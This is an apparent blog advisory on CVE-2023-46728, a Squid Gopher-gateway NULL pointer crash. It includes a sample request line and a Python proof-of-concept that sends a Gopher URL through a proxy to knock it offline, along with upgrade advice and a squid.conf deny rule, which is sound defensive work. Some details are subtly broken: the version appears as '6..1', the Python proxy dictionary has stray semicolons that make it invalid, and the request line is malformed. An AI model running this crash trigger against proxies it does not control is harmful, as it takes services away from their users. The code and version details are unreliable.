If you manage a web proxy with Squid, there’s a critical detail you can’t afford to miss. A bug tracked as CVE-2023-46728 makes many versions of Squid vulnerable to a crash simply by receiving a malicious (or even just odd) response from a Gopher server. Here’s exactly what happens, how the bug can be triggered, and—most importantly—what you need to do now.

What Is Squid and Its Gopher Gateway?

Squid is one of the most popular caching proxies on the web. It can handle HTTP, HTTPS, FTP, and even some older protocols like Gopher out of the box—at least, up until version 6..1.

Gopher is a protocol from the early days of the internet. Almost nobody uses it now, but for a long time, it was enabled by default in Squid.

The Vulnerability: NULL Pointer Dereference

With CVE-2023-46728, Squid has a bug where handling certain Gopher responses causes it to crash with a NULL pointer dereference. In plain terms: Squid sees a Gopher server’s response, gets confused, and crashes.

To anyone running a vulnerable Squid version—even without custom configuration.

Impact:
A remote attacker can send your proxy a crafted Gopher URL, causing your Squid process to terminate. This is a denial-of-service (DoS): your users can’t get to the web anymore until Squid restarts.

All an attacker has to do is send a request like this through your proxy

GET http://yourproxy:3128/gopher://malicious.gopher.server/ HTTP/1.1
Host: victim.site

Squid’s gopher gateway code stumbles onto the NULL pointer, tries to use it, and—crash!

No authentication, no deep exploit, just a single externally controllable Gopher response.

While the actual buggy Squid code is C++, a simplified version looks like this

char *response = get_gopher_response();
if (response == NULL) {
    // Bug: Code later assumes response is never NULL
    // This line shouldn't run, but...
}
printf("%s\n", response); // NULL pointer dereferenced here!

If response is NULL, the program crashes when trying to print it—just like in Squid.

Proof-of-Concept (PoC): Crash Your Proxy

To demonstrate just how low the bar is for exploitation, here’s how it could look with a basic Python script to trigger the bug (assuming you’re authorized for testing!):

import requests

proxy = {
    'http': 'http://your.proxy.ip:3128';,
    'https': 'http://your.proxy.ip:3128';
}
gopher_url = "gopher://some.gopher.server/something"
try:
    resp = requests.get(gopher_url, proxies=proxy, timeout=5)
    print("Response:", resp.content)
except Exception as e:
    print("Proxy likely crashed (or request failed):", e)

Any Gopher server, even ones just sending an empty or malformed response, could cause a vulnerable Squid instance to die.

Official References

- CVE-2023-46728 entry at NVD
- Squid Security Advisory SQUID-2023:9
- Upstream Squid changelog (Gopher removal)

Upgrade now:

The safest move is to upgrade to Squid 6..1 or later. This version completely removes Gopher support, closing the hole for good.

Block Gopher URLs. In your squid.conf, add

  acl gopher proto gopher
  http_access deny gopher

Then reload the Squid configuration. This will stop Gopher requests before Squid’s buggy code ever runs.

Why This Matters

Even “dead” protocols like Gopher can bite. CVE-2023-46728 is a wakeup call: legacy features are risk magnets. All it takes is a single overlooked protocol to turn your network proxy into a target for easy knockdowns.

If you run Squid, take action now: upgrade or block Gopher. Don’t wait to be surprised by a proxy that just… stops.

Timeline

Published on: 11/06/2023 18:15:08 UTC
Last modified on: 12/29/2023 03:15:10 UTC